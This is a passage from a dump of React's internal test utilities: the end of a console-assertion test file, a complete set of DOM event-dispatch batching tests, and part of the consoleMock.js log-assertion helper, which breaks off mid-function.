text;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App prop=\"A\" />);\n\n      await waitForAll(['Urgent: A, Deferred: A']);\n      expect(root).toMatchRenderedOutput('Urgent: A, Deferred: A');\n\n      // This update will result in two separate paints: an urgent one, and a\n      // deferred one.\n      root.render(<App prop=\"B\" />);\n\n      console.error('Not asserted');\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForPaint(['Urgent: B, Deferred: A']);\n      });\n\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.error was called without assertConsoleErrorDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['Urgent: B, Deferred: A', 'Urgent: B, Deferred: B']);\n    });\n\n    it('should fail if waitForAll is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.error('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForAll(['foo', 'bar', 'baz']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.error was called without assertConsoleErrorDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n    it('should fail if toMatchRenderedOutput is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        console.error('Not asserted');\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      assertLog([]);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n      const message = expectToThrowFailure(() => {\n        expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n      });\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.error was called without assertConsoleErrorDev:\n          + Not asserted\n          + Not asserted\n          + Not asserted\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.error was called without assertConsoleErrorDev:\n          + Not asserted%s,\n          +     in Yield (at **)\n          + Not asserted%s,\n          +     in Yield (at **)\n          + Not asserted%s,\n          +     in Yield (at **)\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      }\n\n      expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/internal-test-utils/__tests__/ReactInternalTestUtilsDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet act;\nlet Scheduler;\nlet ReactDOMClient;\nlet simulateEventDispatch;\nlet assertLog;\n\ndescribe('ReactInternalTestUtilsDOM', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    act = require('internal-test-utils').act;\n    simulateEventDispatch =\n      require('internal-test-utils').simulateEventDispatch;\n    Scheduler = require('scheduler/unstable_mock');\n    ReactDOMClient = require('react-dom/client');\n    React = require('react');\n    assertLog = require('internal-test-utils').assertLog;\n  });\n\n  describe('simulateEventDispatch', () => {\n    it('should batch discrete capture events', async () => {\n      let childRef;\n      function Component() {\n        const [state, setState] = React.useState(0);\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div\n            onClickCapture={() => {\n              queueMicrotask(() => {\n                Scheduler.log('Parent microtask');\n              });\n              setState(1);\n              Scheduler.log('onClickCapture parent');\n            }}>\n            <button\n              ref={ref => (childRef = ref)}\n              onClickCapture={() => {\n                queueMicrotask(() => {\n                  Scheduler.log('Child microtask');\n                });\n                setState(2);\n                Scheduler.log('onClickCapture child');\n              }}\n            />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'click');\n      });\n\n      // Capture runs on every event we dispatch,\n      // which means we get two for the parent, and one for the child.\n      assertLog([\n        'onClickCapture parent',\n        'onClickCapture child',\n        'Parent microtask',\n        'Render 2',\n        'Child microtask',\n      ]);\n\n      document.body.removeChild(container);\n    });\n\n    it('should batch continuous capture events', async () => {\n      let childRef;\n      function Component() {\n        const [state, setState] = React.useState(0);\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div\n            onMouseOutCapture={() => {\n              queueMicrotask(() => {\n                Scheduler.log('Parent microtask');\n              });\n              setState(1);\n              Scheduler.log('onMouseOutCapture parent');\n            }}>\n            <button\n              ref={ref => (childRef = ref)}\n              onMouseOutCapture={() => {\n                queueMicrotask(() => {\n                  Scheduler.log('Child microtask');\n                });\n                setState(2);\n                Scheduler.log('onMouseOutCapture child');\n              }}\n            />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'mouseout');\n      });\n\n      assertLog([\n        'onMouseOutCapture parent',\n        'onMouseOutCapture child',\n        'Parent microtask',\n        'Child microtask',\n        'Render 2',\n      ]);\n    });\n\n    it('should batch bubbling discrete events', async () => {\n      let childRef;\n      function Component() {\n        const [state, setState] = React.useState(0);\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div\n            onClick={() => {\n              queueMicrotask(() => {\n                Scheduler.log('Parent microtask');\n              });\n              setState(1);\n              Scheduler.log('onClick parent');\n            }}>\n            <button\n              ref={ref => (childRef = ref)}\n              onClick={() => {\n                queueMicrotask(() => {\n                  Scheduler.log('Child microtask');\n                });\n                setState(2);\n                Scheduler.log('onClick child');\n              }}\n            />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'click');\n      });\n\n      assertLog([\n        'onClick child',\n        'onClick parent',\n        'Child microtask',\n        'Render 1',\n        'Parent microtask',\n      ]);\n    });\n\n    it('should batch bubbling continuous events', async () => {\n      let childRef;\n      function Component() {\n        const [state, setState] = React.useState(0);\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div\n            onMouseOut={() => {\n              queueMicrotask(() => {\n                Scheduler.log('Parent microtask');\n              });\n              setState(1);\n              Scheduler.log('onMouseOut parent');\n            }}>\n            <button\n              ref={ref => (childRef = ref)}\n              onMouseOut={() => {\n                queueMicrotask(() => {\n                  Scheduler.log('Child microtask');\n                });\n                setState(2);\n                Scheduler.log('onMouseOut child');\n              }}\n            />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'mouseout');\n      });\n\n      assertLog([\n        'onMouseOut child',\n        'onMouseOut parent',\n        'Child microtask',\n        'Parent microtask',\n        'Render 1',\n      ]);\n    });\n\n    it('does not batch discrete events between handlers', async () => {\n      let childRef = React.createRef();\n      function Component() {\n        const [state, setState] = React.useState(0);\n        const parentRef = React.useRef();\n        React.useEffect(() => {\n          function handleParentEvent() {\n            queueMicrotask(() => {\n              Scheduler.log('Parent microtask');\n            });\n            setState(2);\n            Scheduler.log(`Click parent`);\n          }\n\n          function handleChildEvent() {\n            queueMicrotask(() => {\n              Scheduler.log('Child microtask');\n            });\n            setState(1);\n            Scheduler.log(`Click child`);\n          }\n          parentRef.current.addEventListener('click', handleParentEvent);\n\n          childRef.current.addEventListener('click', handleChildEvent);\n\n          return () => {\n            parentRef.current.removeEventListener('click', handleParentEvent);\n\n            childRef.current.removeEventListener('click', handleChildEvent);\n          };\n        });\n\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div ref={parentRef}>\n            <button ref={childRef} />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef.current, 'click');\n      });\n\n      assertLog([\n        'Click child',\n        'Child microtask',\n        'Render 1',\n        'Click parent',\n        'Parent microtask',\n        'Render 2',\n      ]);\n    });\n\n    it('should batch continuous events between handlers', async () => {\n      let childRef = React.createRef();\n      function Component() {\n        const [state, setState] = React.useState(0);\n        const parentRef = React.useRef();\n        React.useEffect(() => {\n          function handleChildEvent() {\n            queueMicrotask(() => {\n              Scheduler.log('Child microtask');\n            });\n            setState(1);\n            Scheduler.log(`Mouseout child`);\n          }\n          function handleParentEvent() {\n            queueMicrotask(() => {\n              Scheduler.log('Parent microtask');\n            });\n            setState(2);\n            Scheduler.log(`Mouseout parent`);\n          }\n          parentRef.current.addEventListener('mouseout', handleParentEvent);\n\n          childRef.current.addEventListener('mouseout', handleChildEvent);\n\n          return () => {\n            parentRef.current.removeEventListener(\n              'mouseout',\n              handleParentEvent\n            );\n\n            childRef.current.removeEventListener('mouseout', handleChildEvent);\n          };\n        });\n\n        Scheduler.log(`Render ${state}`);\n        return (\n          <div ref={parentRef}>\n            <button ref={childRef} />\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render 0']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef.current, 'mouseout');\n      });\n\n      assertLog([\n        'Mouseout child',\n        'Child microtask',\n        'Mouseout parent',\n        'Parent microtask',\n        'Render 2',\n      ]);\n    });\n\n    it('should flush discrete events between handlers from different roots', async () => {\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('main');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n      let childSetState;\n\n      function Parent() {\n        // eslint-disable-next-line no-unused-vars\n        const [state, _] = React.useState('Parent');\n        const handleClick = () => {\n          Promise.resolve().then(() => Scheduler.log('Flush Parent microtask'));\n          childSetState(2);\n          Scheduler.log('Parent click');\n        };\n        return <section onClick={handleClick}>{state}</section>;\n      }\n\n      function Child() {\n        const [state, setState] = React.useState('Child');\n        childSetState = setState;\n        const handleClick = () => {\n          Promise.resolve().then(() => Scheduler.log('Flush Child microtask'));\n          setState(1);\n          Scheduler.log('Child click');\n        };\n        Scheduler.log('Render ' + state);\n        return <span onClick={handleClick}>{state}</span>;\n      }\n\n      await act(() => {\n        childRoot.render(<Child />);\n        parentRoot.render(<Parent />);\n      });\n\n      const childNode = childContainer.firstChild;\n      const parentNode = parentContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      document.body.appendChild(parentContainer);\n\n      assertLog(['Render Child']);\n      try {\n        await act(async () => {\n          await simulateEventDispatch(childNode, 'click');\n        });\n\n        // Since discrete events flush in a microtasks, they flush before\n        // the handler for the other root is called, after the microtask\n        // scheduled in the event fires.\n        assertLog([\n          'Child click',\n          'Flush Child microtask',\n          'Render 1',\n          'Parent click',\n          'Flush Parent microtask',\n          'Render 2',\n        ]);\n      } finally {\n        document.body.removeChild(parentContainer);\n      }\n    });\n\n    it('should batch continuous events between handlers from different roots', async () => {\n      const childContainer = document.createElement('div');\n      const parentContainer = document.createElement('main');\n\n      const childRoot = ReactDOMClient.createRoot(childContainer);\n      const parentRoot = ReactDOMClient.createRoot(parentContainer);\n      let childSetState;\n\n      function Parent() {\n        // eslint-disable-next-line no-unused-vars\n        const [state, _] = React.useState('Parent');\n        const handleMouseOut = () => {\n          Promise.resolve().then(() => Scheduler.log('Flush Parent microtask'));\n          childSetState(2);\n          Scheduler.log('Parent mouseout');\n        };\n        return <section onMouseOut={handleMouseOut}>{state}</section>;\n      }\n\n      function Child() {\n        const [state, setState] = React.useState('Child');\n        childSetState = setState;\n        const handleMouseOut = () => {\n          Promise.resolve().then(() => Scheduler.log('Flush Child microtask'));\n          setState(1);\n          Scheduler.log('Child mouseout');\n        };\n        Scheduler.log('Render ' + state);\n        return <span onMouseOut={handleMouseOut}>{state}</span>;\n      }\n\n      await act(() => {\n        childRoot.render(<Child />);\n        parentRoot.render(<Parent />);\n      });\n\n      const childNode = childContainer.firstChild;\n      const parentNode = parentContainer.firstChild;\n\n      parentNode.appendChild(childContainer);\n      document.body.appendChild(parentContainer);\n\n      assertLog(['Render Child']);\n      try {\n        await act(async () => {\n          await simulateEventDispatch(childNode, 'mouseout');\n        });\n\n        // Since continuous events flush in a macrotask, they are batched after\n        // with the handler for the other root, but the microtasks scheduled\n        // in the event handlers still fire in between.\n        assertLog([\n          'Child mouseout',\n          'Flush Child microtask',\n          'Parent mouseout',\n          'Flush Parent microtask',\n          'Render 2',\n        ]);\n      } finally {\n        document.body.removeChild(parentContainer);\n      }\n    });\n\n    it('should fire on nodes removed while dispatching', async () => {\n      let childRef;\n      function Component() {\n        const parentRef = React.useRef();\n        const middleRef = React.useRef();\n        Scheduler.log(`Render`);\n        return (\n          <div\n            ref={parentRef}\n            onClick={() => {\n              Scheduler.log('onMouseOut parent');\n            }}>\n            <div ref={middleRef}>\n              <button\n                ref={ref => (childRef = ref)}\n                onClick={() => {\n                  Scheduler.log('onMouseOut child');\n                  childRef.parentNode.remove();\n                }}\n              />\n            </div>\n          </div>\n        );\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'click');\n      });\n\n      assertLog(['onMouseOut child', 'onMouseOut parent']);\n    });\n\n    it('should not fire if node is not in the document', async () => {\n      let childRef;\n      function Component() {\n        Scheduler.log(`Render`);\n        return (\n          <div\n            onMouseOut={() => {\n              Scheduler.log('onMouseOut parent');\n            }}>\n            <button\n              ref={ref => (childRef = ref)}\n              onMouseOut={() => {\n                Scheduler.log('onMouseOut child');\n              }}\n            />\n          </div>\n        );\n      }\n\n      // Do not attach root to document.\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(<Component />);\n      });\n\n      assertLog(['Render']);\n\n      await act(async () => {\n        await simulateEventDispatch(childRef, 'mouseout');\n      });\n\n      // No events flushed, root not in document.\n      assertLog([]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/internal-test-utils/consoleMock.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/* eslint-disable react-internal/no-production-logging */\n\nconst chalk = require('chalk');\nconst util = require('util');\nconst shouldIgnoreConsoleError = require('./shouldIgnoreConsoleError');\nconst shouldIgnoreConsoleWarn = require('./shouldIgnoreConsoleWarn');\nimport {diff} from 'jest-diff';\nimport {printReceived} from 'jest-matcher-utils';\n\n// Annoying: need to store the log array on the global or it would\n// change reference whenever you call jest.resetModules after patch.\nconst loggedErrors = (global.__loggedErrors = global.__loggedErrors || []);\nconst loggedWarns = (global.__loggedWarns = global.__loggedWarns || []);\nconst loggedLogs = (global.__loggedLogs = global.__loggedLogs || []);\n\nconst patchConsoleMethod = (methodName, logged) => {\n  const newMethod = function (format, ...args) {\n    // Ignore uncaught errors reported by jsdom\n    // and React addendums because they're too noisy.\n    if (shouldIgnoreConsoleError(format, args)) {\n      return;\n    }\n\n    // Ignore certain React warnings causing test failures\n    if (methodName === 'warn' && shouldIgnoreConsoleWarn(format)) {\n      return;\n    }\n\n    // Append Component Stacks. Simulates a framework or DevTools appending them.\n    if (\n      typeof format === 'string' &&\n      (methodName === 'error' || methodName === 'warn')\n    ) {\n      const React = require('react');\n\n      // Ideally we could remove this check, but we have some tests like\n      // useSyncExternalStoreShared-test that tests against React 17,\n      // which doesn't have the captureOwnerStack method.\n      if (React.captureOwnerStack) {\n        const stack = React.captureOwnerStack();\n        if (stack) {\n          format += '%s';\n          args.push(stack);\n        }\n      }\n    }\n\n    logged.push([format, ...args]);\n  };\n\n  console[methodName] = newMethod;\n\n  return newMethod;\n};\n\nlet logMethod;\nexport function patchConsoleMethods({includeLog} = {includeLog: false}) {\n  patchConsoleMethod('error', loggedErrors);\n  patchConsoleMethod('warn', loggedWarns);\n\n  // Only assert console.log isn't called in CI so you can debug tests in DEV.\n  // The matchers will still work in DEV, so you can assert locally.\n  if (includeLog) {\n    logMethod = patchConsoleMethod('log', loggedLogs);\n  }\n}\n\nexport function resetAllUnexpectedConsoleCalls() {\n  loggedErrors.length = 0;\n  loggedWarns.length = 0;\n  if (logMethod) {\n    loggedLogs.length = 0;\n  }\n}\n\nexport function clearLogs() {\n  const logs = Array.from(loggedLogs);\n  loggedLogs.length = 0;\n  return logs;\n}\n\nexport function clearWarnings() {\n  const warnings = Array.from(loggedWarns);\n  loggedWarns.length = 0;\n  return warnings;\n}\n\nexport function clearErrors() {\n  const errors = Array.from(loggedErrors);\n  loggedErrors.length = 0;\n  return errors;\n}\n\nexport function assertConsoleLogsCleared() {\n  const logs = clearLogs();\n  const warnings = clearWarnings();\n  const errors = clearErrors();\n\n  if (logs.length > 0 || errors.length > 0 || warnings.length > 0) {\n    let message = `${chalk.dim('asserConsoleLogsCleared')}(${chalk.red(\n      'expected',\n    )})\\n`;\n\n    if (logs.length > 0) {\n      message += `\\nconsole.log was called without assertConsoleLogDev:\\n${diff(\n        '',\n        logs.join('\\n'),\n        {\n          omitAnnotationLines: true,\n        },\n      )}\\n`;\n    }\n\n    if (warnings.length > 0) {\n      message += `\\nconsole.warn was called without assertConsoleWarnDev:\\n${diff(\n        '',\n        warnings.map(normalizeComponentStack).join('\\n'),\n        {\n          omitAnnotationLines: true,\n        },\n      )}\\n`;\n    }\n    if (errors.length > 0) {\n      message += `\\nconsole.error was called without assertConsoleErrorDev:\\n${diff(\n        '',\n        errors.map(normalizeComponentStack).join('\\n'),\n        {\n          omitAnnotationLines: true,\n        },\n      )}\\n`;\n    }\n\n    message += `\\nYou must call one of the assertConsoleDev helpers between each act call.`;\n\n    const error = Error(message);\n    Error.captureStackTrace(error, assertConsoleLogsCleared);\n    throw error;\n  }\n}\n\nfunction normalizeCodeLocInfo(str) {\n  if (typeof str !== 'string') {\n    return str;\n  }\n  // This special case exists only for the special source location in\n  // ReactElementValidator. That will go away if we remove source locations.\n  str = str.replace(/Check your code at .+?:\\d+/g, 'Check your code at **');\n  // V8 format:\n  //  at Component (/path/filename.js:123:45)\n  // React format:\n  //    in Component (at filename.js:123)\n  return str.replace(/\\n +(?:at|in) ([^(\\[\\n]+)[^\\n]*/g, function (m, name) {\n    name = name.trim();\n    if (name.endsWith('.render')) {\n      // Class components will have the `render` method as part of their stack trace.\n      // We strip that out in our normalization to make it look more like component stacks.\n      name = name.slice(0, name.length - 7);\n    }\n    name = name.replace(/.*\\/([^\\/]+):\\d+:\\d+/, '**/$1:**:**');\n    return '\\n    in ' + name + ' (at **)';\n  });\n}\n\n// Expands environment placeholders like [Server] into ANSI escape sequences.\n// This allows test assertions to use a cleaner syntax like \"[Server] Error:\"\n// instead of the full escape sequence \"\\u001b[0m\\u001b[7m Server \\u001b[0mError:\"\nfunction expandEnvironmentPlaceholders(str) {\n  if (typeof str !== 'string') {\n    return str;\n  }\n  // [Environment] -> ANSI escape sequence for environment badge\n  // The format is: reset + inverse + \" Environment \" + reset\n  return str.replace(\n    /^\\[(\\w+)] /g,\n    (match, env) => '\\u001b[0m\\u001b[7m ' + env + ' \\u001b[0m',\n  );\n}\n\n// The error stack placeholder that can be used in expected messages\nconst ERROR_STACK_PLACEHOLDER = '\\n    in <stack>';\n// A marker used to protect the placeholder during normalization\nconst ERROR_STACK_PLACEHOLDER_MARKER = '\\n    in <__STACK_PLACEHOLDER__>';\n\n// Normalizes expected messages, handling special placeholders\nfunction normalizeExpectedMessage(str) {\n  if (typeof str !== 'string') {\n    return str;\n  }\n  // Protect the error stack placeholder from normalization\n  // (normalizeCodeLocInfo would add \"(at **)\" to it)\n  const hasStackPlaceholder = str.includes(ERROR_STACK_PLACEHOLDER);\n  let result = str;\n  if (hasStackPlaceholder) {\n    result = result.replace(\n      ERROR_STACK_PLACEHOLDER,\n      ERROR_STACK_PLACEHOLDER_MARKER,\n    );\n  }\n  result = normalizeCodeLocInfo(result);\n  result = expandEnvironmentPlaceholders(result);\n  if (hasStackPlaceholder) {\n    // Restore the placeholder (remove the \"(at **)\" that was added)\n    result = result.replace(\n      ERROR_STACK_PLACEHOLDER_MARKER + ' (at **)',\n      ERROR_STACK_PLACEHOLDER,\n    );\n  }\n  return result;\n}\n\nfunction normalizeComponentStack(entry) {\n  if (\n    typeof entry[0] === 'string' &&\n    entry[0].endsWith('%s') &&\n    isLikelyAComponentStack(entry[entry.length - 1])\n  ) {\n    const clone = entry.slice(0);\n    clone[clone.length - 1] = normalizeCodeLocInfo(entry[entry.length - 1]);\n    return clone;\n  }\n  return entry;\n}\n\nconst isLikelyAComponentStack = message =>\n  typeof message === 'string' &&\n  (message.indexOf('<component stack>') > -1 ||\n    message.includes('\\n    in ') ||\n    message.includes('\\n    at '));\n\n// Error stack traces start with \"*Error:\" and contain \"at\" frames with file paths\n// Component stacks contain \"in ComponentName\" patterns\n// This helps validate that \\n    in <stack> is used correctly\nconst isLikelyAnErrorStackTrace = message =>\n  typeof message === 'string' &&\n  message.includes('Error:') &&\n  // Has \"at\" frames typical of error stacks (with file:line:col)\n  /\\n\\s+at .+\\(.*:\\d+:\\d+\\)/.test(message);\n\nexport function createLogAssertion(\n  consoleMethod,\n  matcherName,\n  clearObservedErrors,\n) {\n  function logName() {\n    switch (consoleMethod) {\n      case 'log':\n        return 'log';\n      case 'error':\n        return 'error';\n      case 'warn':\n        return 'warning';\n    }\n  }\n\n  return function assertConsoleLog(expectedMessages, options = {}) {\n    if (__DEV__) {\n      // eslint-disable-next-line no-inner-declarations\n      function throwFormattedError(message) {\n        const error = new Error(\n          `${chalk.dim(matcherName)}(${chalk.red(\n            'expected',\n          )})\\n\\n${message.trim()}`,\n        );\n        Error.captureStackTrace(error, assertConsoleLog);\n        throw error;\n      }\n\n      // Warn about incorrect usage first arg.\n      if (!Array.isArray(expectedMessages)) {\n        throwFormattedError(\n          `Expected messages should be an array of strings ` +\n            `but was given type \"${typeof expectedMessages}\".`,\n        );\n      }\n\n      // Warn about incorrect usage second arg.\n      if (options != null) {\n        if (typeof options !== 'object' || Array.isArray(options)) {\n          throwFormattedError(\n            `The second argument should be an object. ` +\n              'Did you forget to wrap the messages into an array?',\n          );\n        }\n      }\n\n      const observedLogs = clearObservedErrors();\n      const receivedLogs = [];\n      const missingExpectedLogs = Array.from(expectedMessages);\n\n      const unexpectedLogs = [];\n      const unexpectedMissingErrorStack = [];\n      const unexpectedIncludingErrorStack = [];\n      const logsMismatchingFormat = [];\n      const logsWithExtraComponentStack = [];\n      const stackTracePlaceholderMisuses = [];\n\n      // Loop over all the observed logs to determine:\n      //   - Which expected logs are missing\n      //   - Which received logs are unexpected\n      //   - Which logs have a component stack\n      //   - Which logs have the wrong format\n      //   - Which logs have extra stacks\n      for (let index = 0; index < observedLogs.length; index++) {\n        const log = observedLogs[index];\n        const [format, ...args] = log;\n        const message = util.format(format, ...args);\n\n        // Ignore uncaught errors reported by jsdom\n        // and React addendums because they're too noisy.\n        if (shouldIgnoreConsoleError(format, args)) {\n          return;\n        }\n\n        let expectedMessage;\n        const expectedMessageOrArray = expectedMessages[index];\n        if (typeof expectedMessageOrArray === 'string') {\n          expectedMessage = normalizeExpectedMessage(expectedMessageOrArray);\n        } else if (expectedMessageOrArray != null) {\n          throwFormattedError(\n            `The expected message for ${matcherName}() must be a string. ` +\n              `Instead received ${JSON.stringify(expectedMessageOrArray)}.`,\n          );\n        }\n\n        const normalizedMessage = normalizeCodeLocInfo(message);\n        receivedLogs.push(normalizedMessage);\n\n        // Check the number of %s interpolations.\n        // We'll fail the test if they mismatch.\n        let argIndex = 0;\n        // console.* could have been called with a non-string e.g. `console.error(new Error())`\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        String(format).replace(/%s|%c|%o/g, () => argIndex++);\n        if (argIndex !== args.length) {\n          if (format.includes('%c%s')) {\n            // We intentionally use mismatching formatting when printing badging because we don't know\n            // the best default to use for different types because the default varies by platform.\n          } else {\n            logsMismatchingFormat.push({\n              format,\n              args,\n              expectedArgCount: argIndex,\n            });\n          }\n        }\n\n        // Check for extra component stacks\n        if (\n          args.length >= 2 &&\n          isLikelyAComponentStack(args[args.length - 1]) &&\n          isLikelyAComponentStack(args[args.length - 2])\n        ) {\n          logsWithExtraComponentStack.push({\n            format,\n          });\n        }\n\n        // Main logic to check if log is expected, with the component stack.\n        // Check for exact match OR if the message matches with a component stack appended\n        let matchesExpectedMessage = false;\n        let expectsErrorStack = false;\n        const hasErrorStack = isLikelyAnErrorStackTrace(message);\n\n        if (typeof expectedMessage === 'string') {\n          if (normalizedMessage === expectedMessage) {\n            matchesExpectedMessage = true;\n          } else if (expectedMessage.includes('\\n    in <stack>')) {\n            expectsErrorStack = true;\n            // \\n    in <stack> is ONLY for JavaScript Error stack traces (e.g., \"Error: message\\n  at fn (file.js:1:2)\")\n            // NOT for React component stacks (e.g., \"\\n    in ComponentName (at **)\").\n            // Validate that the actual message looks like an error stack trace.\n            if (!hasErrorStack) {\n              // The actual message doesn't look like an error stack trace.\n              // This is likely a misuse - someone used \\n    in <stack> for a component stack.\n              stackTracePlaceholderMisuses.push({\n                expected: expectedMessage,\n                received: normalizedMessage,\n              });\n            }\n\n            const expectedMessageWithoutStack = expectedMessage.replace(\n              '\\n    in <stack>',\n              '',\n            );\n            if (normalizedMessage.startsWith(expectedMessageWithoutStack)) {\n              // Remove the stack trace\n              const remainder = normalizedMessage.slice(\n                expectedMessageWithoutStack.length,\n              );\n\n              // After normalization, both error stacks and component stacks look like\n              // component stacks (at frames are converted to \"in ... (at **)\" format).\n              // So we check isLikelyAComponentStack for matching purposes.\n              if (isLikelyAComponentStack(remainder)) {\n                const messageWithoutStack = normalizedMessage.replace(\n                  remainder,\n                  '',\n                );\n                if (messageWithoutStack === expectedMessageWithoutStack) {\n                  matchesExpectedMessage = true;\n                }\n              } else if (remainder === '') {\n                // \\n    in <stack> was expected but there's no stack at all\n                matchesExpectedMessage = true;\n              }\n            } else if (normalizedMessage === expectedMessageWithoutStack) {\n              // \\n    in <stack> was expected but actual has no stack at all (exact match without stack)\n              matchesExpectedMessage = true;\n            }\n          } else if (\n            hasErrorStack &&\n            !expectedMessage.includes('\\n    in <stack>') &&\n            normalizedMessage.startsWith(expectedMessage)\n          ) {\n            matchesExpectedMessage = true;\n          }\n        }\n\n        if (matchesExpectedMessage) {\n          // Check for unexpected/missing error stacks\n          if (hasErrorStack && !expectsErrorStack) {\n            // Error stack is present but \\n    in <stack> was not in the expected message\n            unexpectedIncludingErrorStack.push(normalizedMessage);\n          } else if (\n            expectsErrorStack &&\n            !hasErrorStack &&\n            !isLikelyAComponentStack(normalizedMessage)\n          ) {\n            // \\n    in <stack> was expected but the actual message doesn't have any stack at all\n            // (if it has a component stack, stackTracePlaceholderMisuses already handles it)\n            unexpectedMissingErrorStack.push(normalizedMessage);\n          }\n\n          // Found expected log, remove it from missing.\n          missingExpectedLogs.splice(0, 1);\n        } else {\n          unexpectedLogs.push(normalizedMessage);\n        }\n      }\n\n      // Helper for pretty printing diffs consistently.\n      // We inline multi-line logs for better diff printing.\n      // eslint-disable-next-line no-inner-declarations\n      function printDiff() {\n        return `${diff(\n          expectedMessages\n            .map(message => message.replace('\\n', ' '))\n            .join('\\n'),\n          receivedLogs.map(message => message.replace('\\n', ' ')).join('\\n'),\n          {\n            aAnnotation: `Expected ${logName()}s`,\n            bAnnotation: `Received ${logName()}s`,\n          },\n        )}`;\n      }\n\n      // Wrong %s formatting is a failure.\n      // This is a common mistake when creating new warnings.\n      if (logsMismatchingFormat.length > 0) {\n        throwFormattedError(\n          logsMismatchingFormat\n            .map(\n              item =>\n                `Received ${item.args.length} arguments for a message with ${\n                  item.expectedArgCount\n                } placeholders:\\n  ${printReceived(item.format)}`,\n            )\n            .join('\\n\\n'),\n        );\n      }\n\n      // Any unexpected warnings should be treated as a failure.\n      if (unexpectedLogs.length > 0) {\n        throwFormattedError(\n          `Unexpected ${logName()}(s) recorded.\\n\\n${printDiff()}`,\n        );\n      }\n\n      // Any remaining messages indicate a failed expectations.\n      if (missingExpectedLogs.length > 0) {\n        throwFormattedError(\n          `Expected ${logName()} was not recorded.\\n\\n${printDiff()}`,\n        );\n      }\n\n      // Any logs that include an error stack trace but \\n    in <stack> wasn't expected.\n      if (unexpectedIncludingErrorStack.length > 0) {\n        throwFormattedError(\n          `${unexpectedIncludingErrorStack\n            .map(\n              stack =>\n                `Unexpected error stack trace for:\\n  ${printReceived(stack)}`,\n            )\n            .join(\n              '\\n\\n',\n            )}\\n\\nIf this ${logName()} should include an error stack trace, add \\\\n    in <stack> to your expected message ` +\n            